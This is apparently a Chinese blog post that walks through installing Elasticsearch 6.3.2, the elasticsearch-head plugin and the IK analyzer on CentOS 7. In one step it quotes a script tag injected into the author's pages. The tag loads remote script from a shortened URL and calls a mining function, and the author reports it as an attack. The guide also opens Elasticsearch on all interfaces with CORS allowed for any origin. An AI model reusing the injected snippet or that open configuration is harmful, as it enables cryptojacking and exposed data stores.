centos7安装ElasticSearch和elasticSearch-head插件

 一、安装elasticsearch

 1、下载elasticsearch:

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.3.2.rpm

使用wget命令报错,下载wget:

yum -y install wget

2、安装:rpm -ivh elasticsearch-6.3.2.rpm

3、安装完es后通过 cut -d : -f 1 /etc/passwd 查看当前机器用户时发现了 elasticearch 账户:

4、配置文件

通过whereis elasticsearch查看rpm安装es目录 然后编辑配置文件:

vi elasticsearch.yml
network.host: 0.0.0.0
http.port: 9200
http.cors.enabled: true
http.cors.allow-origin: "*"
vi /etc/security/limits.conf
* soft nofile 65536
* hard nofile 65536
vi /etc/sysctl.conf
vm.max_map_count=655360
sysctl -p

5、查看elasticearch启动状态:systemctl status elasticsearch,发现报错no java in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin)

通过java -vesion和echo $JAVA_HOME可以发现java已经安装过。

 

6、尝试解决:

vi /etc/sysconfig/elasticsearch

JAVA_HOME=/software/jdk1.8.0_181

连接失败

7、尝试解决:cd  /usr/share

ln -s /software/jdk1.8.0_181/bin/java  /usr/bin/java

 连接成功!

8、启动之后因为内存的原因自动关闭,可能因为内存的问题(这是我的问题):

解决:

vi jvm.options

-Xms512m

-Xmx512m

9、远程: 

完成!

10、启动:service elasticsearch start

       重启服务 service elasticsearch restart

      设置自启动,机器重启后自启动elasticsearch

       /bin/systemctl enable elasticsearch.service

       开放端口:firewall-cmd --zone=public --add-port=9100/tcp --permanent

二、安装elasticsearch-head插件

  1. 可以参考:https://blog.csdn.net/u013066244/article/details/63279337
  2. 启动: cd /usr/local/es/elasticsearch-head-master

           npm start或

后台启动grunt server命令;

nohup grunt server

3、我在安装nodejs的时候一直出现输出页面增加了一个script标签(document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');)

后来发现是因为被恶意攻击的原因,解决可以参考X:MR恶意挖矿脚本处理笔记:https://www.cnblogs.com/Rebybyx/p/9913779.html这篇博客,建议不要关闭防火墙,用哪个端口号开放哪个

三、安装分词插件elasticsearch-analyzer-ik

1、在Git上下载相应的版本

2、解压

3、打包

使用 yum install java* 安装maven

进入解压后的目录elasticsearch-analysis-ik-master里面,输入下面命令进行打包

# mvn clean package

打包后,在当前目录下有target目录,进去,有一个release目录,把里面的zip包复制到你安装ES目录下的plugins

我的目录是/usr/share/elasticsearch/plugins

cd /usr/share/elasticsearch/plugins

unzip elasticsearch-analysis-ik-6.5.0.zip

4、测试

重启elasticsearch

测试http://139.199.100.196:9200/_analyze?analyzer=ik&pretty=true&text=helloworld,中华人民共和国

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值